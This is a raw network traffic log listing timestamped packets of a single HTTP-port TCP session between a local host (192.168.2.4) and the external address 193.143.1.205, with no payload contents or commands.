Jan 10, 2025 23:52:34.522195101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.522221088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.522245884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.523080111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523091078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523101091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523112059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523123980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523134947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523137093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.523192883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.523859024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523902893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523921013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523931980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523942947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523952007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.523957968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.523984909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.524025917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.524746895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.524902105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.524913073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.524924994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.524947882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.524974108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.524976969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.524986982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.524998903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.525012016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.525052071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.525790930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.525974989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.525986910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.525996923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526007891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526030064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526041985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526041985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.526055098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526066065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.526098967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.526820898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526832104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526842117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526854038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526866913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.526870012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.526902914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.527232885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.527251959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.527261972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.527304888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.527441025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.527472019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.527482033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.527484894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.527502060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.527513027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.527527094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.530409098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.533219099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.533236027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.565800905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.565818071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.565829039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.565922976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.604238987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604260921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604278088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604288101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604300976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604310989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604316950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604322910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604340076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604351044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604361057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604373932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604433060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.604439020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604487896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.604487896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.604502916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604515076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604526997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.604552031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642405033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642427921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642438889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642458916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642474890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642487049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642502069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642509937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642520905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642529964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642554045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642560959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642617941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642627954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642640114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642652035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642652988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642677069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642833948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642846107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642855883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642879963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642916918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.642947912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642959118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.642971992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643007994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643042088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643054008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643090010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643199921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643209934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643218040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643238068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643249035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643255949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643260956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643274069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643290997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643335104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643462896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643495083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643526077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643539906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643600941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643611908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643623114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643634081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643640041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643686056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643815041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643826962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643846035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643857002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643858910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643871069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643901110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643932104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643935919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.643944979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643958092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643969059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643987894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.643992901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644000053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644011974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644033909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644059896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644506931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644520044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644531965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644542933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644556046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644556999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644567966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644575119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644586086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644608974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644620895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644620895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644634008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644644022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644653082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644654036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644666910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644678116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644684076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644691944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644706011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644712925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644718885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644731045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644737959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.644743919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.644784927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645328999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645348072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645359993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645373106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645385981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645407915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645431995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645443916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645447016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645457029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645468950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645478964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645481110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645508051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645528078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645565987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645580053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645590067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645607948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645620108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645622015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645632982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645652056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645685911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.645688057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645705938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645718098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.645740986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.646413088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646430016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646441936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646452904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646456957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.646467924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646480083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646490097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.646491051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646502972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646513939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646524906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646538019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646547079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646553040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.646560907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.646589041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.646611929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.648682117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.690924883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.690944910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.690958023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.690982103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.690994978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691005945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691018105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691030025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691068888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.691116095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.691132069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691143990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691154957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691171885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.691250086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691267967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691279888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691289902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691292048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.691303968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691324949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.691363096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.691451073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691463947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691474915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691515923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691525936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.691529989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691543102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691559076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.691564083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.691611052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729384899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729413986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729425907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729438066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729449987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729460955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729475021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729486942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729518890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729530096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729535103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729547977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729548931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729574919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729626894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729639053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729649067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729661942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729671001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729711056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729820967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729832888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729839087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729871988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729881048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729891062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729902983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729913950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.729939938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.729975939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730134010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730180025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730194092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730221987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730225086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730272055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730277061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730289936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730331898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730372906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730391979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730443001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730459929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730524063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730535030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730545044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730565071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730597019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730628967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730658054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730669022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730699062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730726957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730737925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730747938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730761051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.730771065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.730798006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731105089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731116056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731126070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731137991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731151104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731151104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731163979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731170893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731179953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731197119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731209040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731211901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731220961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731246948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731429100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731450081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731462955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731477022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731499910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731509924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731512070 CET	80	49730	193.143.1.205	192.168.2.4
